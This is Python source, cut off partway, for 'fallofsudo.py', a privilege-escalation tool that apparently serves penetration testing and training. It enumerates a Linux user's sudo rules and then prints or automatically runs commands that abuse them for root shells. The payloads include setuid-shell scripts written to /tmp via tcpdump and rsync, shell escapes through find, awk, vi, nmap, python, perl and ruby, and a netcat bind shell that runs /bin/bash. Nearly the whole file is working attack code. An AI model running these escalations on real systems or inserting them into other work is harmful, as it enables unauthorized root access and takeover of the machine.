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#!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################################################
# Author: Paragonsec (Quentin) @ Critical Start
# Contributor: rmirch (A practice VM will be coming sometime from both of us... oneday)
# Title: fallofsudo.py
# Version: 1.1
# Usage Example: python fallofsudo.py
# Description: This script obtains users Sudo rules and provides ways to abuse them.
#
# STATUS: 42 SUDO RULES
###############################################################################################################
import getpass
import os
import subprocess
import sys
import argparse
from subprocess import call
from time import sleep
# Arguments
parser = argparse.ArgumentParser(description="This tool attempts to exploit bad sudo rules or shows you how to do it yourself!")
parser.add_argument("-a", "--autopwn",
help="This option will engage the autopwn features if they are present", action="store_true")
parser.add_argument("-i", "--info",
help="This option will show you how to pwn the sudo rule instead of doing it automatically", action="store_true")
# Check to ensure at least one argument has been passed
if len(sys.argv)==1:
parser.print_help(sys.stderr)
sys.exit(1)
args = parser.parse_args()
# Global Variables
global info
global autopwn
#Colors
OKRED = '\033[91m'
OKGREEN = '\033[92m'
OKBLUE = '\033[94m'
OKYELLOW = '\033[93m'
ENDC = '\033[0m'
# Banner
banner = ("""
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# Obtaining Username
username = getpass.getuser()
# Setting output directory
directory = "Output"
if not os.path.exists(directory):
os.makedirs(directory)
def main():
print OKRED + banner + ENDC
print OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)"
print OKGREEN + "Contributor: " + ENDC + "rmirch"
print OKGREEN + "Version: " + ENDC + "1.1"
print OKGREEN + "Description: " + ENDC + "This program aids pentesters in conducting privilege escalation on Linux by abusing sudo. Use for good or training purposes ONLY!\n"
sudopwner()
# Function for the y/n questions
def ask_user(answer):
yes = set(['yes','y',''])
no = set(['no','n'])
while True:
choice = raw_input(answer).lower()
if choice in yes:
return True
elif choice in no:
return False
else:
print "Please respond with 'yes' or 'no'\n"
# Main section for sudo pwnage
def sudopwner():
print OKBLUE + "[+] Obtaining sudo rules for user " + username + ENDC + "\n"
# Obtaining SUDO rules
sudofile()
# Print contents of sudo rules
sudorules = sudoparse()
# Identifying sudo rules and choosing a potential pwnage for that rule
print OKBLUE + "\n[+] Identifying potential pwnage... \n" + ENDC
choices = []
for item in sudorules:
if item[3] == "ALL":
all_user = item[0]
choices.append('all')
elif 'zip' in item[3]:
zip_user = item[0]
choices.append('zip')
elif 'find' in item[3]:
find_user = item[0]
choices.append('find')
elif 'tcpdump' in item[3]:
tcpdump_user = item[0]
choices.append('tcpdump')
elif 'rsync' in item[3]:
rsync_user = item[0]
choices.append('rsync')
elif 'python' in item[3]:
python_user = item[0]
choices.append('python')
elif 'vi' in item[3]:
vi_user = item[0]
choices.append('vi')
elif 'nmap' in item[3]:
nmap_user = item[0]
choices.append('nmap')
elif 'awk' in item[3]:
awk_user = item[0]
choices.append('awk')
elif 'vim' in item[3]:
vim_user = item[0]
choices.append('vim')
elif 'perl' in item[3]:
perl_user = item[0]
choices.append('perl')
elif 'ruby' in item[3]:
ruby_user = item[0]
choices.append('ruby')
elif 'bash' in item[3]:
bash_user = item[0]
choices.append('bash')
elif 'nc' in item[3]:
nc_user = item[0]
choices.append('nc')
elif 'less' in item[3]:
less_user = item[0]
choices.append('less')
elif 'more' in item[3]:
more_user = item[0]
choices.append('more')
elif 'man' in item[3]:
man_user = item[0]
choices.append('man')
elif 'gdb' in item[3]:
gdb_user = item[0]
choices.append('gdb')
elif 'ftp' in item[3]:
ftp_user = item[0]
choices.append('ftp')
elif 'smbclient' in item[3]:
smbclient_user = item[0]
choices.append('smbclient')
elif 'sed' in item[3]:
sed_user = item[0]
choices.append('sed')
elif 'mysql' in item[3]:
mysql_user = item[0]
choices.append('mysql')
elif 'tar' in item[3]:
tar_user = item[0]
choices.append('tar')
elif 'wget' in item[3]:
choices.append('wget')
elif 'curl' in item[3]:
choices.append('curl')
elif 'mv' in item[3]:
choices.append('mv')
elif 'tee' in item[3]:
choices.append('tee')
elif 'scp' in item[3]:
choices.append('scp')
elif 'ssh' in item[3]:
ssh_user = item[0]
choices.append('ssh')
elif 'cp' in item[3]:
choices.append('cp')
elif 'dd' in item[3]:
choices.append('dd')
elif 'crontab' in item[3]:
choices.append('crontab')
elif 'chown' in item[3]:
choices.append('chown')
elif 'chmod' in item[3]:
choices.append('chmod')
elif 'cat' in item[3]:
cat_user = item[0]
choices.append('cat')
elif 'mount' in item[3]:
choices.append('mount')
elif 'facter' in item[3]:
facter_user = item[0]
choices.append('facter')
elif 'apt-get' in item[3]:
choices.append('apt-get')
elif '/sh' in item[3]:
sh_user = item[0]
choices.append('sh')
elif 'ksh' in item[3]:
ksh_user = item[0]
choices.append('ksh')
elif 'zsh' in item[3]:
zsh_user = item[0]
choices.append('zsh')
elif 'nano' in item[3]:
nano_user = item[0]
choices.append('nano')
elif 'journalctl' in item[3]:
journalctl_user = item[0]
choices.append('journalctl')
# Options for the user to choose which sudo rule they wish to abuse
for item in choices:
if (item == "all") or (item == "sh") or (item == "bash") or (item == "ksh") or (item == "zsh"):
print OKRED + "[!] Vulnerable sudo rule [EASY TO PWN]: " + ENDC + item
else:
print OKRED + "[!] Vulnerable sudo rule: " + ENDC + item
question = raw_input("\n" + OKBLUE + "[?] Enter name of sudo rule you wish to pwn: " + ENDC)
if question == "all":
all(all_user)
elif question == "zip":
zip(zip_user)
elif question == "find":
find(find_user)
elif question == "tcpdump":
tcpdump(tcpdump_user)
elif question == "rsync":
rsync(rsync_user)
elif question == "python":
python(python_user)
elif question == "vi":
vi(vi_user)
elif question == "nmap":
nmap(nmap_user)
elif question == "awk":
awk(awk_user)
elif question == "vim":
vim(vim_user)
elif question == "perl":
perl(perl_user)
elif question == "ruby":
ruby(ruby_user)
elif question == "bash":
bash(bash_user)
elif question == "nc":
nc(nc_user)
elif question == "less":
less(less_user)
elif question == "more":
more(more_user)
elif question == "man":
man(man_user)
elif question == "gdb":
gdb(gdb_user)
elif question == "ftp":
ftp(ftp_user)
elif question == "smbclient":
smbclient(smbclient_user)
elif question == "sed":
sed(sed_user)
elif question == "mysql":
mysql(mysql_user)
elif question == "tar":
tar(tar_user)
elif question == "wget":
wget()
elif question == "curl":
curl()
elif question == "mv":
mv()
elif question == "tee":
tee()
elif question == "scp":
scp()
elif question == "ssh":
ssh(ssh_user)
elif question == "cp":
cp()
elif question == "dd":
dd()
elif question == "crontab":
crontab()
elif question == "chown":
chown()
elif question == "chmod":
chmod()
elif question == "cat":
cat(cat_user)
elif question == "mount":
mount()
elif question == "facter":
facter(facter_user)
elif question == "apt-get":
aptget()
elif question == "sh":
sh(sh_user)
elif question == "ksh":
ksh(ksh_user)
elif question == "zsh":
zsh(zsh_user)
elif question == "nano":
nano(nano_user)
elif question == "journalctl":
journalctl(journalctl_user)
else:
print OKRED + "[!] No rule matching that input... exiting you n00b!" + ENDC
sys.exit()
# Saving sudo rules to a csv file for easy parsing
def sudofile():
# File to save sudo rules output
fname = "Output/sudorules.txt"
f = open(fname, "w+")
# run the sudo -ll command
# Update suggested by jesmith
try:
sudoll = subprocess.check_output(['sudo' , '-ll'])
except subprocess.CalledProcessError as e:
print e.output
sys.exit(1)
sudoll = subprocess.check_output(['sudo' , '-ll'])
# Saving sudoll output to file
f.write(sudoll)
f.close
# Used to parse the contents of the sudo output
def sudoparse():
sudooutput = []
commands_block = 0
# Loop through the SUDO rules gathed earlier
with open('Output/sudorules.txt', 'r') as sudoers:
for line in sudoers:
line = line.strip()
if not line.startswith('Sudoers'):
continue
runas_user = runas_group = options = cmd = None
for line in sudoers:
line = line.strip()
k = line.split(':')[-1].strip()
if line.lower().startswith('runasusers'):
runas_user = k
elif line.lower().startswith('runasgroups'):
runas_group = k
elif line.lower().startswith('options'):
options = k
elif line.lower().startswith('commands') :
commands_block = 1
elif commands_block == 1:
cmd = line.strip()
if cmd and not cmd.startswith('Sudoers entry'):
sudooutput.append([runas_user, runas_group, options, cmd])
# Printing out SUDO rules for the user
print OKGREEN + "[!] " + username + " has the following sudo rules:" + ENDC
for item in sudooutput:
print OKGREEN + "\n[!] RunAsUsers: " + ENDC + item[0]
if item[1] != None:
print OKGREEN + "[!] RunAsGroups: " + ENDC + item[1]
if item[2] != None:
print OKGREEN + "[!] Options: " + ENDC + item[2]
print OKGREEN + "[!] Commands: " + ENDC + item[3]
return sudooutput
# SUDO zip Rule Pwnage
def zip(zip_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First we need to create a empty file to pass to the zip command: " + ENDC
print OKRED + " [*] touch /tmp/foo" + ENDC
print OKBLUE + "[2] Finally we will execute the sudo rule using the unzip-command argument: " + ENDC
if (zip_user == "ALL") or (zip_user == "root"):
print OKRED + " [*] sudo zip /tmp/foo.zip /tmp/foo -T --unzip-command='sh -c /bin/bash'" + ENDC
else:
print OKRED + " [*] sudo -u " + zip_user + " zip /tmp/foo.zip /tmp/foo -T --unzip-command='sh -c /bin/bash'" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the zip rule? ' + ENDC)
if question == True:
# First step of pwnage for zip
print OKGREEN + "\n[!] First Step: " + ENDC + "Creating /tmp/foo"
call('touch /tmp/foo', shell=True)
sleep(0.5)
# Exploit the sudo rule zip
print OKGREEN + "[!] Pwning ZIP rule now!!!" + ENDC
if (zip_user == "ALL") or (zip_user == "root"):
print OKGREEN + "\n[!] Getting shell as root!" + ENDC
call('sudo zip /tmp/foo.zip /tmp/foo -T --unzip-command="sh -c /bin/bash"', shell=True)
else:
print OKGREEN + "\n[!] Getting shell as " + zip_user + "!" + ENDC
call('sudo -u ' + zip_user + ' zip /tmp/foo.zip /tmp/foo -T --unzip-command="sh -c /bin/bash"', shell=True)
elif question == False:
sudopwner()
# SUDO ALL Rule Pwnage
def all(all_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule type one of the two commands: " + ENDC
print OKRED + "[*] sudo -i" + ENDC
if (all_user == "ALL") or (all_user == "root"):
print OKRED + "[*] sudo su" + ENDC
else:
print OKRED + "[*] sudo su " + all_user + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the ALL/ALL rule? ' + ENDC)
if question == True:
# Exploit the sudo rule ALL/ALL
print OKGREEN + "\n[!] Pwning the ALL/ALL rule now!!!" + ENDC
print OKGREEN + "\n[!] Executing 'sudo su' to gain shell!" + ENDC
if all_user == "ALL":
print OKGREEN + "\n[!] Gaining shell as root!" + ENDC
call('sudo su', shell=True)
else:
print OKGREEN + "\n[!] Gaining shell as " + all_user + "!" + ENDC
call('sudo su ' + all_user, shell=True)
elif question == False:
sudopwner()
# SUDO find Rule Pwnage
def find(find_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule type the following command: " + ENDC
if (find_user == "ALL") or (find_user == "root"):
print OKRED + "[*] sudo find . -exec bash -i \;" + ENDC
else:
print OKRED + "[*] sudo -u " + find_user + " find . -exec bash -i \;" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the find rule? ' + ENDC)
if question == True:
# Exploit the sudo rule find
print OKGREEN + "\n[!] Pwning the find rule now!!!" + ENDC
print OKGREEN + "\n[!] Executing 'sudo find . -exec bash -i \;' to gain shell!!!" + ENDC
if (find_user == "ALL") or (find_user == "root"):
print OKGREEN + "\n[!] Getting shell as root!" + ENDC
call('sudo find . -exec bash -i \;', shell=True)
else:
print OKGREEN + "\n[!] Getting shell as " + find_user + "!" + ENDC
call('sudo -u ' + find_user + ' find . -exec bash -i \;', shell=True)
elif question == False:
sudopwner()
# SUDO tcpdump Rule Pwnage
def tcpdump(tcpdump_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First create a malicious file in a partition that allows setuid: " + ENDC
print OKRED + " [*] echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh" + ENDC
print OKBLUE + "[2] Next we need to change that maliciouos file to be executable: " + ENDC
print OKRED + " [*] chmod +x /tmp/evil.sh" + ENDC
print OKBLUE + "[3] Next we will abuse the packet rotate feature of TCPDUMP in order to execute our malicious script: " + ENDC
if (tcpdump_user == "ALL") or (tcpdump_user == "root"):
print OKRED + " [*] sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z root" + ENDC
else:
print OKRED + " [*] sudo -u " + tcpdump_user + " tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z " + tcpdump_user + ENDC
print OKBLUE + "[4] Finally execute your /tmp/pwnage file that was created!" + ENDC
print OKRED + " [*] ./pwnage" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + '\n[?] Do you wish to abuse the tcpdump rule? ' + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the tcpdump rule now!!!" + ENDC
print OKGREEN + "\n[!] Creating malicous file!" + ENDC
call("echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh", shell=True)
call("chmod +x /tmp/evil.sh",shell=True)
sleep(0.5)
print OKGREEN + "\n[!] Running TCPDUMP packet rotate to execute our malicious script (read the source to see the payload)!" + ENDC
if (tcpdump_user == "ALL") or (tcpdump_user == "root"):
print OKGREEN + "\n[!] Creating setuid shell as root!" + ENDC
call("sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z root", shell=True)
else:
print OKGREEN + "\n[!] Creating setuid shell as " + tcpdump_user + "!" + ENDC
call("sudo -u " + tcpdump_user + " tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/evil.sh -Z " + tcpdump_user, shell=True)
print OKGREEN + "\n[!] EXECUTE /tmp/pwnage TO GET SHELL!" + ENDC
elif question == False:
sudopwner()
# SUDO rsync Rule Pwnage
def rsync(rsync_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First create a malicious file in a partition that allows setuid: " + ENDC
print OKRED + " [*] echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh" + ENDC
print OKBLUE + "[2] Next we need to change that maliciouos file to be executable: " + ENDC
print OKRED + " [*] chmod +x /tmp/evil.sh" + ENDC
print OKBLUE + "[3] Next we need to create a empty file to pass to the rsync command: " + ENDC
print OKRED + " [*] touch /tmp/aaa" + ENDC
print OKBLUE + "[4] Next we will execute the rsync command in order to run our evil.sh script: " + ENDC
if (rsync_user == "ALL") or (rsync_user == "root"):
print OKRED + " [*] sudo rsync -e /tmp/evil.sh <username> @127.0.0.1:/tmp/aaa bbb" + ENDC
else:
print OKRED + " [*] sudo -u " + rsync_user + " rsync -e /tmp/evil.sh <username> @127.0.0.1:/tmp/aaa bbb" + ENDC
print OKBLUE + "[5] Finally execute your /tmp/pwnage file that was created!" + ENDC
print OKRED + " [*] ./pwnage" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the rsync rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the tcpdump rule now!!!" + ENDC
print OKGREEN + "\n[!] Creating malicious file!" + ENDC
call("echo 'cp /bin/ksh /tmp/pwnage ; chmod 4777 /tmp/pwnage' > /tmp/evil.sh", shell=True)
call("chmod +x /tmp/evil.sh", shell=True)
sleep(0.5)
print OKGREEN + "\n[!] Creating /tmp/aaa file!" + ENDC
call("touch /tmp/aaa",shell=True)
sleep(0.5)
print OKGREEN + "\n[!] Running rsync command!" + ENDC
if (rsync_user == "ALL") or (rsync_user == "root"):
print OKGREEN + "\n[!] Creating setuid shell as root!" + ENDC
call("sudo rsync -e /tmp/evil.sh " + username + "@127.0.0.1:/tmp/aaa bbb", shell=True)
else:
print OKGREEN + "\n[!] Creating setuid shell as " + rsync_user + "!" + ENDC
call("sudo -u " + rsync_user + " rsync -e /tmp/evil.sh " + username + "@127.0.0.1:/tmp/aaa bbb", shell=True)
print OKGREEN + "\n[!] EXECUTE /tmp/pwnage TO GET SHELL!" + ENDC
if question == False:
sudopwner()
# SUDO awk Rule Pwnage
def awk(awk_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule type the following command: " + ENDC
if (awk_user == "ALL") or (awk_user == "root"):
print OKRED + "[*] sudo awk 'BEGIN {system('/bin/bash')}'" + ENDC
else:
print OKRED + "[*] sudo -u " + awk_user + " awk 'BEGIN {system('/bin/bash')}'" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the awk rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the awk rule now!!!" + ENDC
if (awk_user == "ALL") or (awk_user == "root"):
print OKGREEN + "\n[!] Getting shell as root!" + ENDC
call("sudo awk 'BEGIN {system('/bin/bash')}'", shell=True)
else:
print OKGREEN + "\n[!] Getting shell as " + awk_user + "!" + ENDC
call("sudo -u " + awk_user + " awk 'BEGIN {system('/bin/bash')}", shell=True)
if question == False:
sudopwner()
# SUDO nmap Rule Pwnage
def nmap(nmap_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First create a malicious nse script to execute: " + ENDC
print OKRED + " [*] echo 'os.execute('/bin/sh')' > /tmp/pwnage.nse" + ENDC
print OKBLUE + "[2] Finally execute that nse script with nmap: " + ENDC
if (nmap_user == "ALL") or (nmap_user == "root"):
print OKRED + " [*] sudo nmap --script=/tmp/pwnage.nse" + ENDC
else:
print OKRED + " [*] sudo -u " + nmap_user + " nmap --script=/tmp/pwnage.nse" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the nmap rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the nmap rule now!!!" + ENDC
print OKGREEN + "\n[!] Creating malicious file!" + ENDC
call("echo 'os.execute('/bin/sh')' > /tmp/pwnage.nse", shell=True)
if (nmap_user == "ALL") or (nmap_user == "root"):
print OKGREEN + "\n[!] Obtaining root shell!" + ENDC
call("sudo nmap --script=/tmp/pwnage.nse", shell=True)
else:
print OKGREEN + "\n[!] Obtaining shell as " + nmap_user + "!" + ENDC
call("sudo -u " + nmap_user + " nmap --script=/tmp/pwnage.nse", shell=True)
if question == False:
sudopwner()
# SUDO vi Rule Pwnage
def vi(vi_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule type the following command: " + ENDC
if (vi_user == "ALL") or (vi_user == "root"):
print OKRED + "[*] sudo vi -c ':shell'" + ENDC
else:
print OKRED + "[*] sudo -u " + vi_user + " vi -c ':shell'" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the vi rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the vi rule now!!!" + ENDC
if (vi_user == "ALL") or (vi_user == "root"):
print OKGREEN + "\n[!] Obtaining shell as root!" + ENDC
call("sudo vi -c ':shell'", shell=True)
else:
print OKGREEN + "\n[!] Obtaining shell as " + vi_user + "!" + ENDC
call("sudo -u " + vi_user + " vi -c ':shell'", shell=True)
if question == False:
sudopwner()
# SUDO vim Rule Pwnage
def vim(vim_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule type the following command: " + ENDC
if (vim_user == "ALL") or (vim_user == "root"):
print OKRED + "[*] sudo vim -c ':shell'" + ENDC
else:
print OKRED + "[*] sudo -u " + vim_user + " vim -c ':shell'" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] DO you wish to abise the vim rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the vim rule now!!!" + ENDC
if (vim_user == "ALL") or (vim_user == "root"):
print OKGREEN + "\n[!] Obtaining shell as root!" + ENDC
call("sudo vim -c ':shell'", shell=True)
else:
print OKGREEN + "\n[!] Obtaining shell as " + vim_user + "!" + ENDC
call("sudo -u " + vim_user + " vim -c ':shell'", shell=True)
if question == False:
sudopwner()
# SUDO python Rule Pwnage
def python(python_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First create a malicious python script: " + ENDC
print OKRED + " [*] echo 'os.system('/bin/bash)' > /tmp/pwnage.py" + ENDC
print OKBLUE + "[2] Finally execute that python script to get your shell: " + ENDC
if (python_user == "ALL") or (python_user == "root"):
print OKRED + " [*] sudo python /tmp/pwnage.py" + ENDC
else:
print OKRED + " [*] sudo -u " + python_user + " python /tmp/pwnage.py" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the python rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the python rule now!!!" + ENDC
print OKGREEN + "\n[!] Creating the malcious file now!" + ENDC
call("echo 'os.system('/bin/bash')' > /tmp/pwnage.py", shell=True)
print OKGREEN + "\n[!] Obtaining shell!" + ENDC
if (python_user == "ALL") or (python_user == "root"):
print OKGREEN + "\n[!] Obtaining shell as root!" + ENDC
call("sudo python /tmp/pwnage.py", shell=True)
else:
print OKGREEN + "\n[!] Obtaining shell as " + python_user + "!" + ENDC
call("sudo -u " + python_user + " python /tmp/pwnage.py", shell=True)
if question == False:
sudopwner()
# SUDO perl Rule Pwnage
def perl(perl_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First create a malicious perl script: " + ENDC
print OKRED + " [*] echo 'exec '/bin/bash';' > /tmp/pwnage.pl" + ENDC
print OKBLUE + "[2] Finally execute that perl script to get your shell: " + ENDC
if (perl_user == "ALL") or (perl_user == "root"):
print OKRED + " [*] sudo perl /tmp/pwnage.pl" + ENDC
else:
print OKRED + " [*] sudo -u " + perl_user + " perl /tmp/pwnage.pl" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the perl rule? " + ENDC)
if question == True:
print OKGREEN + "\n[!] Pwning the perl rule now!!!" + ENDC
print OKGREEN + "\n[!] Creating the malicious file now!" + ENDC
call("echo 'exec '/bin/bash';' > /tmp/pwn.pl", shell=True)
print OKGREEN + "\n[!] Obtaining shell!" + ENDC
if (perl_user == "ALL") or (perl_user == "root"):
print OKGREEN + "\n[!] Obtaining shell as root!" + ENDC
call("sudo perl /tmp/pwn.pl", shell=True)
else:
print OKGREEN + "\n[!] Obtaining shell as " + perl_user + "!" + ENDC
call("sudo -u " + perl_user + " perl /tmp/pwn.pl", shell=True)
if question == False:
sudopwner()
# SUDO ruby Rule Pwnage
def ruby(ruby_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First create a malicious ruby script: " + ENDC
print OKRED + " [*] echo 'exec '/bin/bash';' > /tmp/pwnage.rb" + ENDC
print OKBLUE + "[2] Finally execute that ruby script to get your shell: " + ENDC
if (ruby_user == "ALL") or (ruby_user == "root"):
print OKRED + " [*] sudo ruby /tmp/pwnage.rb" + ENDC
else:
print OKRED + " [*] sudo -u " + ruby_user + " ruby /tmp/pwnage.rb" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the ruby rule? " + ENDC)
if question == True:
print OKGREEN + "[!] Pwning the ruby rule now!!!" + ENDC
print OKGREEN + "[!] Creating the malicious file now!" + ENDC
call("echo 'exec '/bin/bash';' > /tmp/pwn.rb", shell=True)
print OKGREEN + "[!] Obtaining shell!" + ENDC
if (ruby_user == "ALL") or (ruby_user == "root"):
print OKGREEN + "\n[!] Obtaining shell as root!" + ENDC
call("sudo ruby /tmp/pwn.rb", shell=True)
else:
print OKGREEN + "\n[!] Obtianing shell as " + ruby_user + "!" + ENDC
call("sudo -u " + ruby_user + " ruby /tmp/pwn.rb", shell=True)
if question == False:
sudopwner()
# SUDO bash Rule Pwnage
def bash(bash_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule type the following command: " + ENDC
if (bash_user == "ALL") or (bash_user == "root"):
print OKRED + "[*] sudo bash -i" + ENDC
else:
print OKRED + "[*] sudo -u " + bash_user + " bash -i" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user( OKRED + "\n[?] Do you wish to abuse the bash rule? " + ENDC)
if question == True:
print OKGREEN + "[!] Pwning the bash rule now!!!" + ENDC
print OKGREEN + "[+] Obtaining bash shell by passing the -i argument!" + ENDC
if (bash_user == "ALL") or (bash_user == "root"):
print OKGREEN + "\n[!] Obtaining shell as root!" + ENDC
call("sudo bash -i", shell=True)
else:
print OKGREEN + "\n[!] Obtaining shell as " + bash_user + "!" + ENDC
call("sudo -u " + bash_user + " bash -i", shell=True)
if question == False:
sudopwner()
# SUDO nc Rule Pwnage
def nc(nc_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] HOW TO PWN THIS RULE!!!" + ENDC
print OKBLUE + "[+] To pwn this rule multiple steps need to be taken." + ENDC
print OKBLUE + "[1] First open a port using sudo and background it so you can connect to it in the same terminal: " + ENDC
if (nc_user == "ALL") or (nc_user == "root"):
print OKRED + " [*] sudo /bin/nc -lvp 8888 -e '/bin/bash' &" + ENDC
print OKBLUE + "[2] Finally connect to that port using sudo: " + ENDC
print OKRED + " [*] sudo /bin/nc -vvv 127.0.0.1 8888" + ENDC
else:
print OKRED + " [*] sudo -u " + nc_user + " /bin/nc -lvp 8888 -e '/bin/bash' &" + ENDC
print OKBLUE + "[2] Finally connect to that port using sudo: " + ENDC
print OKRED + " [*] sudo -u " + nc_user + " /bin/nc -vvv 127.0.0.1 8888" + ENDC
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
elif args.autopwn:
question = ask_user(OKRED + "\n[?] Do you wish to abuse the nc rule? " + ENDC)
if question == True:
print OKGREEN + "[!] Pwning the nc rule now!!!" + ENDC
if (nc_user == "ALL") or (nc_user == "root"):
print OKGREEN + "[!] Opening port on 8888 as root" + ENDC
call("sudo /bin/nc -lvp 8888 -e '/bin/bash' &", shell=True)
print OKGREEN + "[!] Connecting to port on 8888 to obtain root shell!" + ENDC
call("sudo /bin/nc -vvv 127.0.0.1 8888", shell=True)
else:
print OKGREEN + "[!] Opening port on 8888 as " + nc_user + ENDC
call("sudo -u " + nc_user + " /bin/nc -lvp 8888 -e '/bin/bash' &", shell=True)
print OKGREEN + "[!] Connecting to port 8888 to obtain shell as " + nc_user + "!" + ENDC
call("sudo -u " + nc_user + " /bin/nc -vvv 127.0.0.1 8888", shell=True)
if question == False:
sudopwner()
# SUDO less Rule Pwnage
def less(less_user):
